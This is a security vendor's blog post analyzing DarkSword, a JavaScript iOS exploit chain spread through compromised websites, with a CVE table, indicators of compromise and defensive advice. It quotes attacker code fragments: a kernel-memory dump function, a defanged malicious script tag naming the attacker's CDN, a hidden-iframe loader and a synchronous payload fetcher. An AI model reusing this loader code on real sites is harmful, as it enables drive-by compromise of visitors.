Skip to main content
Blog
Blog

DarkSword: pure JavaScript exploit chain weaponizes legitimate websites

DarkSword is a full-chain iOS exploit delivered via watering-hole compromises of legitimate websites. It runs entirely in JavaScript, evades binary mitigations, and drops JavaScript-based backdoors that exfiltrate sensitive data.

Mar 20, 2026 5 min read
DarkSword: pure JavaScript exploit chain weaponizes legitimate websites cover image
Table of Contents

TL;DR: pure-JavaScript iOS 18.4 to 18.7 chain with sessionStorage-gated 1x1 iframe delivery

  • Stays pure JavaScript: Everyone patches iOS 26.3 and calls it done, but DarkSword stayed entirely in JavaScript specifically so PPL and SPTM never see a binary, and any legitimate site injecting a single script tag becomes UNC6353's watering hole.
  • Signals cside watches: cside monitors the client-side execution layer for exactly the signals DarkSword uses: unexpected external script tags, hidden 1x1 iframes, sessionStorage fingerprint writes, and synchronous XHR that pulls obfuscated JavaScript, none of which a WAF or endpoint tool will flag from the perimeter.
  • Patching is not enough: If the delivery vehicle is a compromised legitimate website rather than a phishing lure, patching endpoints closes one door and leaves the front page open, so the decision is whether client-side monitoring sits alongside CSP and SRI or after the first GHOSTBLADE WiFi-credential dump.

Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.

DarkSword is a new step in iOS exploitation. Active since at least November 2025, this full-chain exploit links multiple vulnerabilities - several of them zero-days - to fully compromise iOS devices. The suspected Russian espionage group UNC6353 distributes it through watering hole attacks by injecting malicious script tags into legitimate, compromised websites. The central concern is delivery: a website's client-side environment becomes a vector for a nation-state exploit targeting visitors.

How the DarkSword exploit chain works

Earlier iOS exploit kits relied on binary components. DarkSword takes a different approach: the entire chain is written in JavaScript. By staying in JavaScript for every stage, the attackers avoid binary mitigations such as Apple's Page Protection Layer (PPL) and Secure Page Table Monitor (SPTM). The chain targets iOS versions in the 18.4-18.7 range and operates through several stages that escalate from an in-browser memory corruption to full kernel privilege.

Exploit stages

Exploit StageVulnerabilityDescriptionZero-day?
Remote Code Execution (RCE)CVE-2025-31277 / CVE-2025-43529Memory corruption in JavaScriptCore (JIT type confusion and GC bugs).CVE-2025-43529 was a zero-day
PAC bypassCVE-2026-20700User-mode Pointer Authentication Code bypass in dyld.Yes
WebContent sandbox escapeCVE-2025-14174Memory corruption in ANGLE, escaping to the GPU process.Yes
GPU sandbox escapeCVE-2025-43510Memory management vulnerability in the iOS kernel, pivoting to mediaplaybackd.No
Privilege escalationCVE-2025-43520Memory corruption in the iOS kernel, granting full kernel privileges.No

After achieving full compromise, the exploit drops one of three JavaScript-based malware families: GHOSTBLADE, GHOSTKNIFE, or GHOSTSABER. These act as dataminers and backdoors, exfiltrating iMessages, cryptocurrency wallet data, location history, and saved WiFi passwords.

Example debugging code

Debugging code and comments left in the payloads show the authors' intent. GHOSTBLADE includes functions to hexdump kernel memory and specifically targets WiFi credentials:

const TAG = "DarkSword-WIFI-DUMP";

function kdump(where, size, msg = "") {
 LOG(`[+] ----------- ${msg} ----------`);
 for (let i = 0n; i < size; i += 0x10n) {
 LOG(`[+] [${i.hex()}] ${(where + i).hex()}:	${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
 }
}

How DarkSword uses watering hole attacks to infect iOS devices

UNC6353 compromises legitimate websites and turns them into watering holes. When a target visits one of these sites, the attack runs silently in the background without user interaction. The attack typically starts with a single injected tag that appears benign in HTML but then loads attacker-controlled JavaScript from a third-party CDN.

Example (displayed escaped to avoid embedding an actual script tag):

<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>

From there the attack continues through client-side operations. The loader can create hidden 1x1 pixel iframes, use sessionStorage to track and fingerprint victims, and fetch additional obfuscated payloads via synchronous XHRs. Because all actions use standard web APIs, they blend into normal browser activity unless the client-side environment is monitored.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
 sessionStorage.setItem("uid", '1');
 const frame = document.createElement("iframe");
 frame.src = "frame.html?" + Math.random();
 frame.style.height = 0;
 frame.style.width = 0;
 frame.style.border = "none";
 document.body.appendChild(frame);
} else {
 top.location.href = "red";
}
function getJS(fname,method = 'GET') {
 try {
 url = fname;
 print(`trying to fetch ${method} from: ${url}`);
 let xhr = new XMLHttpRequest();
 xhr.open("GET", `${url}` , false);
 xhr.send(null);
 return xhr.responseText;
 } catch(e) {
 print("got error in getJS: " + e);
 }
}

Why traditional security defenses miss DarkSword

DarkSword exposes a blind spot in most security setups. Perimeter defenses, WAFs, and many endpoint detection tools don't see activity inside the browser. The compromised website delivers what appears to be a normal client-side resource while the actual exploit loads from a third-party domain. Defending against these attacks requires visibility into client-side execution and the ability to detect anomalous browser behavior.

Indicators of compromise

  • Unexpected script tags loading from unknown or suspicious domains;
  • Hidden iframes with 1x1 pixel dimensions, near-zero opacity, or off-screen placement;
  • Unusual sessionStorage or localStorage modifications by unauthorized scripts;
  • XHR or Fetch requests retrieving additional obfuscated JavaScript payloads.

How to defend against DarkSword and watering hole attacks

Apple patched the DarkSword vulnerabilities in iOS 26.3, and users should update immediately. But patching endpoints only addresses one layer. As long as attackers can compromise legitimate websites and use them as delivery vehicles, watering hole attacks will continue. Website operators should harden supply chains, monitor for unauthorized injections, and use client-side monitoring to detect malicious script execution before it drops payloads like DarkSword.

Simon Wijckmans
Founder & CEO

Founder and CEO of cside. Previously a product manager on Cloudflare Page Shield (now Cloudflare Client-Side Security). Co-chair of the W3C Anti-Fraud Community Group and a Forbes 30 Under 30 honoree. Building accessible security against client-side attacks, web security is not an enterprise-only problem.

FAQ

Frequently Asked Questions

DarkSword remains entirely in JavaScript to avoid binary-level protections like Apple's Page Protection Layer (PPL) and Secure Page Table Monitor (SPTM). By exploiting memory corruption in JavaScriptCore and subsequent sandbox escape vulnerabilities, the chain never needs to execute separate native binaries, which reduces the effectiveness of binary-based mitigations.

Key indicators include unexpected external script tags pointing to unknown third-party domains, hidden or off-screen iframes (often 1x1 pixels), unusual sessionStorage/localStorage activity, and synchronous XHR/Fetch requests pulling obfuscated JavaScript. Monitoring these behaviors in the browser can surface malicious activity that perimeter tools miss.

Isolate the compromised host and preserve webserver logs and deployed assets, including any injected scripts. Notify downstream users, rotate exposed secrets (API keys, tokens), and provision incident-scoped telemetry to capture client-side artifacts such as injected script URLs, iframe navigation patterns, and XHR payloads for further analysis.

Implement client-side behavioral telemetry that logs script origins, iframe creation, storage modifications, and network fetches, with rate-limited sampling and privacy safeguards. Use allowlists for known third-party resources, integrity checks (SRI), CSP headers, and periodic scans for unauthorized modifications to served HTML and JavaScript.

Harden supply-chain security by locking down third-party dependencies, requiring signed or integrity-checked assets, enabling Content Security Policy (CSP), and monitoring for unexpected changes in CDN-hosted files. Maintain strict access controls, rotate credentials, and enable file integrity monitoring on web assets.

Client-side logs capturing injected script URLs, iframe creation events, sessionStorage/localStorage writes, and synchronous XHR responses are high-fidelity indicators. Complement these with webserver logs showing unexpected requests for widget files and CDN assets, and correlate with endpoint browser telemetry if available.

Prioritize OS updates that address the exploited CVEs, then deploy mitigations such as blocking known malicious domains at the network edge and revoking compromised CDN credentials. Simultaneously, implement client-side detection and harden web supply-chain controls to reduce future exposure.

CSP and SRI are effective mitigations when properly applied: CSP restricts where scripts can be loaded from and SRI ensures fetched resources match expected integrity hashes. However, if the attacker can modify the site to inject their own allowed resource or compromise a trusted CDN, these controls may be bypassed, so they should be part of a layered defense.

Monitor and Secure Your Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start free, or try Business with a 14-day trial.

cside dashboard interface showing script monitoring and security analytics
Related Articles
Book a demo

Want to walk through this with an engineer?

Thirty minutes, on your own site. Not a slide deck.

We'll show you:

Which third-party scripts are running on your site right now
Where you stand on PCI DSS 6.4.3 and 11.6.1
How much of your traffic is bots and AI agents

Rather just send a question?

Finding open slots…

Real humans only. We'd know.

Having trouble booking? Open scheduler in a new tab

What are you trying to solve?

Tell us in a line and we'll come back with something useful, not a generic pitch.

We usually help with:

Seeing which third-party scripts run on your site
PCI DSS 6.4.3 and 11.6.1 evidence
Bots, AI agents and account takeover

Prefer to just book a time? Pick a slot instead